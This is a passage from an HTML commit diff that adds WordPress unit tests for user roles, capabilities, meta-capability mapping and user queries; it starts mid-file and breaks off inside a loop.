+               $this->assertEquals(array($role_name), $user->roles);
+
+               // user shouldn't have any capabilities; test a quick sample
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('edit_published_posts'));
+               $this->assertFalse($user->has_cap('level_1'));
+               $this->assertFalse($user->has_cap('level_0'));
+
+               // clean up
+               remove_role($role_name);
+               $this->_flush_roles();
+               $this->assertFalse($wp_roles->is_role($role_name));
+       }
+
+
+       function test_add_role() {
+               // add_role($role, $display_name, $capabilities = '')
+               // randomly named role with a few capabilities
+               global $wp_roles;
+               $role_name = rand_str();
+               add_role($role_name, 'Janitor', array('edit_posts'=>true, 'edit_pages'=>true, 'level_0'=>true, 'level_1'=>true, 'level_2'=>true));
+               $this->_flush_roles();
+               $this->assertTrue($wp_roles->is_role($role_name));
+
+               $id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               $this->assertEquals(array($role_name), $user->roles);
+
+               // the user should have all the above caps
+               $this->assertTrue($user->has_cap($role_name));
+               $this->assertTrue($user->has_cap('edit_posts'));
+               $this->assertTrue($user->has_cap('edit_pages'));
+               $this->assertTrue($user->has_cap('level_0'));
+               $this->assertTrue($user->has_cap('level_1'));
+               $this->assertTrue($user->has_cap('level_2'));
+
+               // shouldn't have any other caps
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('edit_published_posts'));
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('level_3'));
+
+               // clean up
+               remove_role($role_name);
+               $this->_flush_roles();
+               $this->assertFalse($wp_roles->is_role($role_name));
+       }
+
+       function test_role_add_cap() {
+               // change the capabilites associated with a role and make sure the change is reflected in has_cap()
+
+               global $wp_roles;
+               $role_name = rand_str();
+               add_role( $role_name, 'Janitor', array('level_1'=>true) );
+               $this->_flush_roles();
+               $this->assertTrue( $wp_roles->is_role($role_name) );
+
+               // assign a user to that role
+               $id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+               // now add a cap to the role
+               $wp_roles->add_cap($role_name, 'sweep_floor');
+               $this->_flush_roles();
+
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+               $this->assertEquals(array($role_name), $user->roles);
+
+               // the user should have all the above caps
+               $this->assertTrue($user->has_cap($role_name));
+               $this->assertTrue($user->has_cap('level_1'));
+               $this->assertTrue($user->has_cap('sweep_floor'));
+
+               // shouldn't have any other caps
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('edit_published_posts'));
+               $this->assertFalse($user->has_cap('upload_files'));
+               $this->assertFalse($user->has_cap('level_4'));
+
+               // clean up
+               remove_role($role_name);
+               $this->_flush_roles();
+               $this->assertFalse($wp_roles->is_role($role_name));
+
+       }
+
+       function test_role_remove_cap() {
+               // change the capabilites associated with a role and make sure the change is reflected in has_cap()
+
+               global $wp_roles;
+               $role_name = rand_str();
+               add_role( $role_name, 'Janitor', array('level_1'=>true, 'sweep_floor'=>true, 'polish_doorknobs'=>true) );
+               $this->_flush_roles();
+               $this->assertTrue( $wp_roles->is_role($role_name) );
+
+               // assign a user to that role
+               $id = $this->factory->user->create( array( 'role' => $role_name ) );
+
+               // now remove a cap from the role
+               $wp_roles->remove_cap($role_name, 'polish_doorknobs');
+               $this->_flush_roles();
+
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+               $this->assertEquals(array($role_name), $user->roles);
+
+               // the user should have all the above caps
+               $this->assertTrue($user->has_cap($role_name));
+               $this->assertTrue($user->has_cap('level_1'));
+               $this->assertTrue($user->has_cap('sweep_floor'));
+
+               // shouldn't have the removed cap
+               $this->assertFalse($user->has_cap('polish_doorknobs'));
+
+               // clean up
+               remove_role($role_name);
+               $this->_flush_roles();
+               $this->assertFalse($wp_roles->is_role($role_name));
+
+       }
+
+       function test_user_add_cap() {
+               // add an extra capability to a user
+
+               // there are two contributors
+               $id_1 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+               $id_2 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+
+               // user 1 has an extra capability
+               $user_1 = new WP_User($id_1);
+               $this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+               $user_1->add_cap('publish_posts');
+
+               // re-fetch both users from the db
+               $user_1 = new WP_User($id_1);
+               $this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+               $user_2 = new WP_User($id_2);
+               $this->assertTrue($user_2->exists(), "Problem getting user $id_2");
+
+               // make sure they're both still contributors
+               $this->assertEquals(array('contributor'), $user_1->roles);
+               $this->assertEquals(array('contributor'), $user_2->roles);
+
+               // check the extra cap on both users
+               $this->assertTrue($user_1->has_cap('publish_posts'));
+               $this->assertFalse($user_2->has_cap('publish_posts'));
+
+               // make sure the other caps didn't get messed up
+               $this->assertTrue($user_1->has_cap('edit_posts'));
+               $this->assertTrue($user_1->has_cap('read'));
+               $this->assertTrue($user_1->has_cap('level_1'));
+               $this->assertTrue($user_1->has_cap('level_0'));
+               $this->assertFalse($user_1->has_cap('upload_files'));
+               $this->assertFalse($user_1->has_cap('edit_published_posts'));
+               $this->assertFalse($user_1->has_cap('level_2'));
+
+       }
+
+       function test_user_remove_cap() {
+               // add an extra capability to a user then remove it
+
+               // there are two contributors
+               $id_1 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+               $id_2 = $this->factory->user->create( array( 'role' => 'contributor' ) );
+
+               // user 1 has an extra capability
+               $user_1 = new WP_User($id_1);
+               $this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+               $user_1->add_cap('publish_posts');
+
+               // now remove the extra cap
+               $user_1->remove_cap('publish_posts');
+
+               // re-fetch both users from the db
+               $user_1 = new WP_User($id_1);
+               $this->assertTrue($user_1->exists(), "Problem getting user $id_1");
+               $user_2 = new WP_User($id_2);
+               $this->assertTrue($user_2->exists(), "Problem getting user $id_2");
+
+               // make sure they're both still contributors
+               $this->assertEquals(array('contributor'), $user_1->roles);
+               $this->assertEquals(array('contributor'), $user_2->roles);
+
+               // check the removed cap on both users
+               $this->assertFalse($user_1->has_cap('publish_posts'));
+               $this->assertFalse($user_2->has_cap('publish_posts'));
+
+       }
+
+       function test_user_level_update() {
+               // make sure the user_level is correctly set and changed with the user's role
+
+               // user starts as an author
+               $id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // author = user level 2
+               $this->assertEquals( 2, $user->user_level );
+
+               // they get promoted to editor - level should get bumped to 7
+               $user->set_role('editor');
+               $this->assertEquals( 7, $user->user_level );
+
+               // demoted to contributor - level is reduced to 1
+               $user->set_role('contributor');
+               $this->assertEquals( 1, $user->user_level );
+
+               // if they have two roles, user_level should be the max of the two
+               $user->add_role('editor');
+               $this->assertEquals(array('contributor', 'editor'), $user->roles);
+               $this->assertEquals( 7, $user->user_level );
+       }
+
+       function test_user_remove_all_caps() {
+               // user starts as an author
+               $id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // add some extra capabilities
+               $user->add_cap('make_coffee');
+               $user->add_cap('drink_coffee');
+
+               // re-fetch
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               $this->assertTrue($user->has_cap('make_coffee'));
+               $this->assertTrue($user->has_cap('drink_coffee'));
+
+               // all caps are removed
+               $user->remove_all_caps();
+
+               // re-fetch
+               $user = new WP_User($id);
+               $this->assertTrue($user->exists(), "Problem getting user $id");
+
+               // capabilities for the author role should be gone
+#              $this->assertFalse($user->has_cap('edit_posts'));
+#              $this->assertFalse($user->has_cap('edit_published_posts'));
+#              $this->assertFalse($user->has_cap('upload_files'));
+#              $this->assertFalse($user->has_cap('level_2'));
+
+               // the extra capabilities should be gone
+               $this->assertFalse($user->has_cap('make_coffee'));
+               $this->assertFalse($user->has_cap('drink_coffee'));
+
+               // user level should be empty
+               $this->assertEmpty( $user->user_level );
+
+
+       }
+
+       function test_post_meta_caps() {
+               // simple tests for some common meta capabilities
+
+               // Make our author
+               $author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+
+               // make a post
+               $post = $this->factory->post->create( array( 'post_author' => $author->ID, 'post_type' => 'post' ) );
+
+               // the author of the post
+               $this->assertTrue($author->exists(), "Problem getting user $author->ID");
+
+               // add some other users
+               $admin = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+               $author_2 = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+               $editor = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+               $contributor = new WP_User( $this->factory->user->create( array( 'role' => 'contributor' ) ) );
+
+               // administrators, editors and the post owner can edit it
+               $this->assertTrue($admin->has_cap('edit_post', $post));
+               $this->assertTrue($author->has_cap('edit_post', $post));
+               $this->assertTrue($editor->has_cap('edit_post', $post));
+               // other authors and contributors can't
+               $this->assertFalse($author_2->has_cap('edit_post', $post));
+               $this->assertFalse($contributor->has_cap('edit_post', $post));
+
+               // administrators, editors and the post owner can delete it
+               $this->assertTrue($admin->has_cap('delete_post', $post));
+               $this->assertTrue($author->has_cap('delete_post', $post));
+               $this->assertTrue($editor->has_cap('delete_post', $post));
+               // other authors and contributors can't
+               $this->assertFalse($author_2->has_cap('delete_post', $post));
+               $this->assertFalse($contributor->has_cap('delete_post', $post));
+
+               // administrators, editors, and authors can publish it
+               $this->assertTrue($admin->has_cap('publish_post', $post));
+               $this->assertTrue($author->has_cap('publish_post', $post));
+               $this->assertTrue($editor->has_cap('publish_post', $post));
+               $this->assertTrue($author_2->has_cap('publish_post', $post));
+               // contributors can't
+               $this->assertFalse($contributor->has_cap('publish_post', $post));
+
+               register_post_type( 'something', array( 'capabilities' => array( 'edit_posts' => 'draw_somethings' ) ) );
+               $something = get_post_type_object( 'something' );
+               $this->assertEquals( 'draw_somethings', $something->cap->edit_posts );
+               $this->assertEquals( 'draw_somethings', $something->cap->create_posts );
+
+               register_post_type( 'something', array( 'capabilities' =>
+                                               array( 'edit_posts' => 'draw_somethings', 'create_posts' => 'create_somethings' ) ) );
+               $something = get_post_type_object( 'something' );
+               $this->assertEquals( 'draw_somethings', $something->cap->edit_posts );
+               $this->assertEquals( 'create_somethings', $something->cap->create_posts );
+               _unregister_post_type( 'something' );
+
+               // Test meta authorization callbacks
+               if ( function_exists( 'register_meta') ) {
+                       $this->assertTrue( $admin->has_cap('edit_post_meta',  $post) );
+                       $this->assertTrue( $admin->has_cap('add_post_meta',  $post) );
+                       $this->assertTrue( $admin->has_cap('delete_post_meta',  $post) );
+
+                       $this->assertFalse( $admin->has_cap('edit_post_meta', $post, '_protected') );
+                       $this->assertFalse( $admin->has_cap('add_post_meta', $post, '_protected') );
+                       $this->assertFalse( $admin->has_cap('delete_post_meta', $post, '_protected') );
+
+                       register_meta( 'post', '_protected', array( &$this, '_meta_filter' ), array( &$this, '_meta_yes_you_can' ) );
+                       $this->assertTrue( $admin->has_cap('edit_post_meta',  $post, '_protected') );
+                       $this->assertTrue( $admin->has_cap('add_post_meta',  $post, '_protected') );
+                       $this->assertTrue( $admin->has_cap('delete_post_meta',  $post, '_protected') );
+
+                       $this->assertTrue( $admin->has_cap('edit_post_meta', $post, 'not_protected') );
+                       $this->assertTrue( $admin->has_cap('add_post_meta', $post, 'not_protected') );
+                       $this->assertTrue( $admin->has_cap('delete_post_meta', $post, 'not_protected') );
+
+                       register_meta( 'post', 'not_protected', array( &$this, '_meta_filter' ), array( &$this, '_meta_no_you_cant' ) );
+                       $this->assertFalse( $admin->has_cap('edit_post_meta',  $post, 'not_protected') );
+                       $this->assertFalse( $admin->has_cap('add_post_meta',  $post, 'not_protected') );
+                       $this->assertFalse( $admin->has_cap('delete_post_meta',  $post, 'not_protected') );
+               }
+       }
+
+       /**
+        * @ticket 16714
+        */
+       function test_create_posts_caps() {
+               $author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+               $admin = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+               $author_2 = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+               $editor = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+               $contributor = new WP_User( $this->factory->user->create( array( 'role' => 'contributor' ) ) );
+
+               // create_posts isn't a real cap.
+               $this->assertFalse($admin->has_cap('create_posts'));
+               $this->assertFalse($author->has_cap('create_posts'));
+               $this->assertFalse($editor->has_cap('create_posts'));
+               $this->assertFalse($author_2->has_cap('create_posts'));
+               $this->assertFalse($contributor->has_cap('create_posts'));
+
+               register_post_type( 'foobar' );
+               $cap = get_post_type_object( 'foobar' )->cap;
+
+               $this->assertEquals( 'edit_posts', $cap->create_posts );
+
+               $this->assertTrue($admin->has_cap( $cap->create_posts ));
+
+               $this->assertTrue($admin->has_cap( $cap->create_posts ));
+               $this->assertTrue($author->has_cap( $cap->create_posts ));
+               $this->assertTrue($editor->has_cap( $cap->create_posts ));
+               $this->assertTrue($author_2->has_cap( $cap->create_posts ));
+               $this->assertTrue($contributor->has_cap( $cap->create_posts ));
+
+               _unregister_post_type( 'foobar' );
+
+               // Primitive capability edit_foobars is not assigned to any users.
+               register_post_type( 'foobar', array( 'capability_type' => array( 'foobar', 'foobars' ) ) );
+               $cap = get_post_type_object( 'foobar' )->cap;
+
+               $this->assertEquals( 'edit_foobars', $cap->create_posts );
+
+               $this->assertFalse($admin->has_cap( $cap->create_posts ));
+               $this->assertFalse($author->has_cap( $cap->create_posts ));
+               $this->assertFalse($editor->has_cap( $cap->create_posts ));
+               $this->assertFalse($author_2->has_cap( $cap->create_posts ));
+               $this->assertFalse($contributor->has_cap( $cap->create_posts ));
+
+               // Add edit_foobars primitive cap to a user.
+               $admin->add_cap( 'edit_foobars', true );
+               $admin = new WP_User( $admin->ID );
+               $this->assertTrue($admin->has_cap( $cap->create_posts ));
+               $this->assertFalse($author->has_cap( $cap->create_posts ));
+               $this->assertFalse($editor->has_cap( $cap->create_posts ));
+               $this->assertFalse($author_2->has_cap( $cap->create_posts ));
+               $this->assertFalse($contributor->has_cap( $cap->create_posts ));
+
+               _unregister_post_type( 'foobar' );
+
+               $cap = get_post_type_object( 'attachment' )->cap;
+               $this->assertEquals( 'upload_files', $cap->create_posts );
+               $this->assertEquals( 'edit_posts', $cap->edit_posts );
+
+               $this->assertTrue( $author->has_cap( $cap->create_posts ) );
+               $this->assertTrue( $author->has_cap( $cap->edit_posts ) );
+               $this->assertTrue( $contributor->has_cap( $cap->edit_posts ) );
+               $this->assertFalse( $contributor->has_cap( $cap->create_posts ) );
+       }
+
+       function test_page_meta_caps() {
+               // simple tests for some common meta capabilities
+
+               // Make our author
+               $author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+
+               // make a page
+               $page = $this->factory->post->create( array( 'post_author' => $author->ID, 'post_type' => 'page' ) );
+
+               // the author of the page
+               $this->assertTrue($author->exists(), "Problem getting user " . $author->ID);
+
+               // add some other users
+               $admin = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+               $author_2 = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+               $editor = new WP_User( $this->factory->user->create( array( 'role' => 'editor' ) ) );
+               $contributor = new WP_User( $this->factory->user->create( array( 'role' => 'contributor' ) ) );
+
+               // administrators, editors and the post owner can edit it
+               $this->assertTrue($admin->has_cap('edit_page', $page));
+               $this->assertTrue($editor->has_cap('edit_page', $page));
+               // other authors and contributors can't
+               $this->assertFalse($author->has_cap('edit_page', $page));
+               $this->assertFalse($author_2->has_cap('edit_page', $page));
+               $this->assertFalse($contributor->has_cap('edit_page', $page));
+
+               // administrators, editors and the post owner can delete it
+               $this->assertTrue($admin->has_cap('delete_page', $page));
+               $this->assertTrue($editor->has_cap('delete_page', $page));
+               // other authors and contributors can't
+               $this->assertFalse($author->has_cap('delete_page', $page));
+               $this->assertFalse($author_2->has_cap('delete_page', $page));
+               $this->assertFalse($contributor->has_cap('delete_page', $page));
+       }
+
+       /**
+        * @ticket 21786
+        */
+       function test_negative_caps() {
+               $author = new WP_User( $this->factory->user->create( array( 'role' => 'author' ) ) );
+               $author->add_cap( 'foo', false );
+               $this->assertTrue ( isset( $author->caps['foo'] ) );
+               $author->remove_cap( 'foo' );
+               $this->assertFalse ( isset( $author->caps['foo'] ) );
+       }
+
+       /**
+        * @ticket 18932
+        */
+       function test_set_role_same_role() {
+               $user = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+               $caps = $user->caps;
+               $this->assertNotEmpty( $user->caps );
+               $user->set_role( 'administrator' );
+               $this->assertNotEmpty( $user->caps );
+               $this->assertEquals( $caps, $user->caps );
+       }
+
+       function test_current_user_can_for_blog() {
+               $user = new WP_User( $this->factory->user->create( array( 'role' => 'administrator' ) ) );
+               $old_uid = get_current_user_id();
+               set_current_user( $user->ID );
+
+               $this->assertTrue( current_user_can_for_blog( get_current_blog_id(), 'edit_posts' ) );
+               $this->assertFalse( current_user_can_for_blog( get_current_blog_id(), 'foo_the_bar' ) );
+               if ( ! is_multisite() ) {
+                       $this->assertTrue( current_user_can_for_blog( 12345, 'edit_posts' ) );
+                       return;
+               }
+
+               $this->assertFalse( current_user_can_for_blog( 12345, 'edit_posts' ) );
+
+               $blog_id = $this->factory->blog->create( array( 'user_id' => $user->ID ) );
+               $this->assertTrue( current_user_can_for_blog( $blog_id, 'edit_posts' ) );
+               $this->assertFalse( current_user_can_for_blog( $blog_id, 'foo_the_bar' ) );
+
+               set_current_user( $old_uid );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsusermapMetaCapphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/user/mapMetaCap.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/user/mapMetaCap.php                            (rev 0)
+++ trunk/tests/tests/user/mapMetaCap.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,235 @@
</span><ins>+<?php
+
+/**
+ * @group user
+ * @group capabilities
+ */
+class Tests_User_MapMetaCap extends WP_UnitTestCase {
+       var $super_admins = null;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->user_ids = array();
+
+               $this->user_id   = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+
+               if ( isset( $GLOBALS['super_admins'] ) )
+                       $this->super_admins = $GLOBALS['super_admins'];
+               $user = new WP_User( $this->user_id );
+               $GLOBALS['super_admins'] = array( $user->user_login );
+
+               $this->post_type = rand_str( 20 );
+               register_post_type( $this->post_type );
+
+               $this->post_id = wp_insert_post( array(
+                       'post_title' => rand_str(),
+                       'post_type' => $this->post_type,
+                       'post_status' => 'private',
+                       'post_author' => $this->author_id,
+               ) );
+       }
+
+       function tearDown() {
+               parent::tearDown();
+
+               $GLOBALS['super_admins'] = $this->super_admins;
+               unset( $GLOBALS['wp_post_types'][ $this->post_type ] );
+       }
+
+       function test_capability_type_post_with_no_extra_caps() {
+
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'post',
+               ) );
+               $post_type_object = get_post_type_object( $this->post_type );
+
+               $this->assertTrue( $post_type_object->map_meta_cap );
+
+               $this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+                       map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'read_private_posts' ),
+                       map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'read_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+                       map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+       }
+
+       function test_custom_capability_type_with_map_meta_cap() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'book',
+                       'map_meta_cap' => true,
+               ) );
+
+               $post_type_object = get_post_type_object( $this->post_type );
+
+               $this->assertEquals( array( 'edit_others_books', 'edit_private_books' ),
+                       map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'edit_others_books', 'edit_private_books' ),
+                       map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'read_private_books' ),
+                       map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'read_private_books' ),
+                       map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'delete_others_books', 'delete_private_books' ),
+                       map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'delete_others_books', 'delete_private_books' ),
+                       map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+       }
+
+       function test_capability_type_post_with_one_renamed_cap() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'post',
+                       'capabilities' => array( 'edit_posts' => 'edit_books' ),
+               ) );
+
+               $post_type_object = get_post_type_object( $this->post_type );
+
+               $this->assertFalse( $post_type_object->map_meta_cap );
+
+               $this->assertEquals( array( 'edit_post' ),
+                       map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'edit_post' ),
+                       map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'read_post' ),
+                       map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'read_post' ),
+                       map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'delete_post' ),
+                       map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'delete_post' ),
+                       map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+       }
+
+       function test_capability_type_post_map_meta_cap_true_with_renamed_cap() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'post',
+                       'map_meta_cap' => true,
+                       'capabilities' => array(
+                               'edit_post' => 'edit_book', // maps back to itself.
+                               'edit_others_posts' => 'edit_others_books',
+                       ),
+               ) );
+
+               $post_type_object = get_post_type_object( $this->post_type );
+
+               $this->assertTrue( $post_type_object->map_meta_cap );
+
+               $this->assertEquals( array( 'edit_others_books', 'edit_private_posts' ),
+                       map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'edit_others_books', 'edit_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'read_private_posts' ),
+                       map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'read_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+                       map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+       }
+
+       function test_capability_type_post_with_all_meta_caps_renamed() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'post',
+                       'capabilities' => array(
+                               'edit_post' => 'edit_book',
+                               'read_post' => 'read_book',
+                               'delete_post' => 'delete_book',
+                       ),
+               ) );
+
+               $post_type_object = get_post_type_object( $this->post_type );
+
+               $this->assertFalse( $post_type_object->map_meta_cap );
+
+               $this->assertEquals( array( 'edit_book' ),
+                       map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'edit_book' ),
+                       map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'read_book' ),
+                       map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'read_book' ),
+                       map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'delete_book' ),
+                       map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'delete_book' ),
+                       map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+       }
+
+       function test_capability_type_post_with_all_meta_caps_renamed_mapped() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'post',
+                       'map_meta_cap' => true,
+                       'capabilities' => array(
+                               'edit_post'   => 'edit_book',
+                               'read_post'   => 'read_book',
+                               'delete_post' => 'delete_book',
+                       ),
+               ) );
+
+               $post_type_object = get_post_type_object( $this->post_type );
+
+               $this->assertTrue( $post_type_object->map_meta_cap );
+
+               $this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+                       map_meta_cap( 'edit_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'edit_others_posts', 'edit_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->edit_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'read_private_posts' ),
+                       map_meta_cap( 'read_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'read_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->read_post, $this->user_id, $this->post_id ) );
+
+               $this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+                       map_meta_cap( 'delete_post', $this->user_id, $this->post_id ) );
+               $this->assertEquals( array( 'delete_others_posts', 'delete_private_posts' ),
+                       map_meta_cap( $post_type_object->cap->delete_post, $this->user_id, $this->post_id ) );
+       }
+
+       function test_unfiltered_html_cap() {
+               if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML )
+                       $this->markTestSkipped( 'DISALLOW_UNFILTERED_HTML is defined.' );
+               if ( is_multisite() ) {
+                       $this->assertEquals( array( 'do_not_allow' ), map_meta_cap( 'unfiltered_html', 0 ) );
+                       $this->assertEquals( array( 'unfiltered_html' ), map_meta_cap( 'unfiltered_html', $this->user_id ) );
+               } else {
+                       $this->assertEquals( array( 'unfiltered_html' ), map_meta_cap( 'unfiltered_html', $this->user_id ) );
+               }
+       }
+
+       /**
+        * @ticket 20488
+        */
+       function test_file_edit_caps_not_reliant_on_unfiltered_html_constant() {
+               if ( defined( 'DISALLOW_FILE_MODS' ) || defined( 'DISALLOW_FILE_EDIT' ) )
+                       $this->markTestSkipped('DISALLOW_FILE_MODS or DISALLOW_FILE_EDIT is defined.');
+
+               if ( defined( 'DISALLOW_UNFILTERED_HTML' ) ) {
+                       if ( ! DISALLOW_UNFILTERED_HTML )
+                               $this->markTestSkipped( 'DISALLOW_UNFILTERED_HTML is defined.' );
+               } else {
+                       define( 'DISALLOW_UNFILTERED_HTML', true );
+               }
+
+               $this->assertEquals( array( 'update_core' ), map_meta_cap( 'update_core', $this->user_id ) );
+               $this->assertEquals( array( 'edit_plugins' ), map_meta_cap( 'edit_plugins', $this->user_id ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsuserqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/user/query.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/user/query.php                         (rev 0)
+++ trunk/tests/tests/user/query.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,79 @@
</span><ins>+<?php
+/**
+ * Test WP_User Query, in wp-includes/user.php
+ *
+ * @group user
+ */
+class Tests_User_Query extends WP_UnitTestCase {
+
+       protected $user_id;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->user_id = $this->factory->user->create( array(
+                       'role' => 'author'
+               ) );
+       }
+
+       function test_get_and_set() {
+               $users = new WP_User_Query();
+
+               $this->assertEquals( '', $users->get( 'fields' ) );
+               $this->assertEquals( '', $users->query_vars['fields'] );
+
+               $users->set( 'fields', 'all' );
+
+               $this->assertEquals( 'all', $users->get( 'fields' ) );
+               $this->assertEquals( 'all', $users->query_vars['fields'] );
+
+               $users->set( 'fields', '' );
+               $this->assertEquals( '', $users->get( 'fields' ) );
+               $this->assertEquals( '', $users->query_vars['fields'] );
+
+               $this->assertNull( $users->get( 'does-not-exist' ) );
+       }
+
+       function test_include() {
+               $users = new WP_User_Query();
+               $users->set( 'fields', '' );
+               $users->set( 'include', $this->user_id );
+               $users->prepare_query();
+               $users->query();
+
+               $ids = $users->get_results();
+               $this->assertEquals( array( $this->user_id ), $ids );
+
+       }
+
+       function test_exclude() {
+               $users = new WP_User_Query();
+               $users->set( 'fields', '' );
+               $users->set( 'exclude', $this->user_id );
+               $users->prepare_query();
+               $users->query();
+
+               $ids = $users->get_results();
+               $this->assertNotContains( $this->user_id, $ids );
+       }
+
+       function test_get_all() {
+               $this->factory->user->create_many( 10, array(
+                       'role' => 'author'
+               ) );
+
+               $users = new WP_User_Query( array( 'blog_id' => get_current_blog_id() ) );
+               $users = $users->get_results();
+               $this->assertEquals( 12, count( $users ) );
+               foreach ( $users as $user ) {
+                       $this->assertInstanceOf( 'WP_User', $user );
+               }
+
+               $users = new WP_User_Query( array( 'blog_id' => get_current_blog_id(), 'fields' => 'all_with_meta' ) );
+               $users = $users->get_results();
+               $this->assertEquals( 12, count( $users ) );
+               foreach ( $users as $user ) {
